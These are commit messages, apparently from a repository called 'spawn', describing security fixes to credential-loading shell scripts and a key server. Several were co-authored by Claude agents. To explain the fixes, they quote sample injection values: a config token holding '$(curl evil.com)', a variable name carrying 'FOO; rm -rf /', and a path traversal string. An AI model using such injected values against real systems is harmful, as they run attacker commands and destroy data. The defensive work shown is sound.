* security: prevent command injection in key-request.sh env var loading
Fixes#1405
**Why:**
The _try_load_env_var function loaded API tokens from ~/.config/spawn/{cloud}.json
without validating the value for shell metacharacters. If an attacker could write
malicious config files (e.g., {"HCLOUD_TOKEN": "$(curl evil.com)"}), the injected
commands would execute when the variable was later used in unquoted contexts.
**Changes:**
- Added regex validation in _try_load_env_var (line 88-91) to reject values
containing shell metacharacters: ; ' " < > | & $ ` \ ( )
- Matches the same pattern used in validate_api_token() from shared/common.sh
- Now returns error and logs security warning if malicious characters detected
**Impact:**
Blocks command injection attacks via config file poisoning. API tokens must now
be clean alphanumeric strings (as they should be from legitimate providers).
Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* security: strengthen key-request.sh regex to block all shell metacharacters
Address security review feedback from PR #1415.
**Changes:**
- Replace blocklist regex with whitelist: `^[a-zA-Z0-9._/@-]+$`
- Now blocks `!`, `{`, `}`, `#`, newlines, tabs, and all other metacharacters
- Update comment to clarify defense-in-depth purpose
- Change error message to match validate_api_token() pattern
**Why whitelist approach:**
API tokens from legitimate cloud providers only contain alphanumeric
characters plus safe chars (-, _, ., /, @). Whitelist is more robust
than trying to enumerate all dangerous shell metacharacters.
-- pr-maintainer
---------
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* security: fix medium severity findings from scan #763
Addresses remaining medium-severity security findings from issue #763:
1. **Path traversal in invalidate_cloud_key** (shared/key-request.sh)
- Removed dots from provider name validation regex
- Changed from ^[a-z0-9][a-z0-9._-]{0,63}$ to ^[a-z0-9][a-z0-9_-]{0,63}$
- Prevents path traversal via sequences like "foo..bar"
2. **Background process timeout** (shared/key-request.sh)
- Wrapped fire-and-forget key request in timeout 15s
- Prevents leaked subprocess if curl hangs beyond --max-time
3. **Rate limiting IP spoofing** (.claude/skills/setup-agent-team/key-server.ts)
- Switched from x-forwarded-for header to server.requestIP(req)
- Uses actual connection IP instead of spoofable header
Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: add macOS portability for timeout command
Address review feedback from security team - timeout command is not available
on macOS by default. Added fallback pattern that:
- Uses timeout on Linux (prevents subprocess leak)
- Falls back to curl --max-time only on macOS
This ensures request_missing_cloud_keys() works on both platforms.
Agent: pr-maintainer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* security: fix command injection vulnerability in key-request.sh
Fixes the critical command injection vulnerability identified in security review.
Changes:
- Use positional parameters ($1, $2, $3) instead of variable interpolation in bash -c
- Pass variables via -- delimiter to prevent shell escaping issues
- Replace echo with printf for proper formatting (macOS bash 3.x compat)
- Maintain timeout wrapper on Linux and curl --max-time fallback on macOS
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: Properly handle comma-separated auth vars in key-request.sh
The tr command was incorrectly translating each character in '+,' to newline,
causing "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET" to not be split properly.
Also updated get_cloud_env_vars to split on both + and , separators.
Fixes the error: "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET: invalid variable name"
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: Revert sed to tr for macOS bash 3.x compatibility
As requested in security review - BSD sed treats \n in replacement
as literal backslash-n, not newline. tr already handles both + and ,
delimiters correctly on all platforms.
Addresses security review feedback.
---------
Co-authored-by: Spawn QA Bot <qa-bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
CRITICAL: Add validation to prevent command injection via malicious environment variable names in `export "${var_name}=..."` patterns.
Vulnerability Details:
- All instances of `export "${var_name}=${value}"` where var_name is derived from external sources (manifest.json auth fields, user input, API responses) were vulnerable to command injection
- If var_name contained shell metacharacters like `;`, `$()`, or backticks, arbitrary code could be executed
- Example exploit: var_name=`FOO; rm -rf /` would execute the rm command
Affected Files:
- shared/key-request.sh: _try_load_env_var() - var_name from manifest.json
- shared/common.sh: _load_token_from_config(), ensure_api_token_with_provider(), _multi_creds_load_config(), _multi_creds_prompt(), _poll_instance_once() - var_name from function parameters
- test/record.sh: _load_multi_config_from_file(), _try_load_cloud_config(), _prompt_cloud_creds_interactive() - var_name from test fixtures
Fix Applied:
- Added regex validation before all export statements: `^[A-Z_][A-Z0-9_]*$`
- This allowlist enforces standard POSIX environment variable naming (uppercase letters, digits, underscores only, must start with letter or underscore)
- Returns error if validation fails, preventing injection
Impact:
- While current usage passes hardcoded env var names (e.g., "HCLOUD_TOKEN"), the vulnerability existed in the implementation
- manifest.json is currently trusted, but defense-in-depth prevents supply chain attacks or accidental malformed entries
- Test infrastructure was also vulnerable to malicious fixture data
Agent: security-auditor
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
The auth parsing in _load_cloud_credentials() only handled '+' separators,
but some clouds (like alibabacloud) use comma-separated env var lists.
Changed `tr '+' '\n'` to `tr '+,' '\n'` to handle both formats.
Fixes error: "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET: invalid variable name"
Co-authored-by: Spawn QA Bot <qa-bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Add regex validation (^[a-z0-9][a-z0-9._-]{0,63}$) to invalidate_cloud_key()
in shared/key-request.sh to prevent path traversal attacks that could delete
arbitrary files via crafted provider names (e.g., ../../etc/important)
- Improve validKeyVal() in key-server.ts to block control characters
(U+0000-U+001F, U+007F-U+009F) and enforce a 4096-byte max length on
API key values, preventing injection of null bytes, newlines, and
excessively long values
Agent: security-auditor
Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Extract three helpers from the 82-line, 14-conditional function:
- _parse_cloud_auths: extract cloud auth specs from manifest.json
- _try_load_env_var: load a single env var from env or config file
- _load_cloud_credentials: load all env vars for one cloud provider
The main function is now a 36-line orchestrator with clear flow:
validate prerequisites -> parse manifest -> iterate clouds -> summarize.
Agent: complexity-hunter
Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
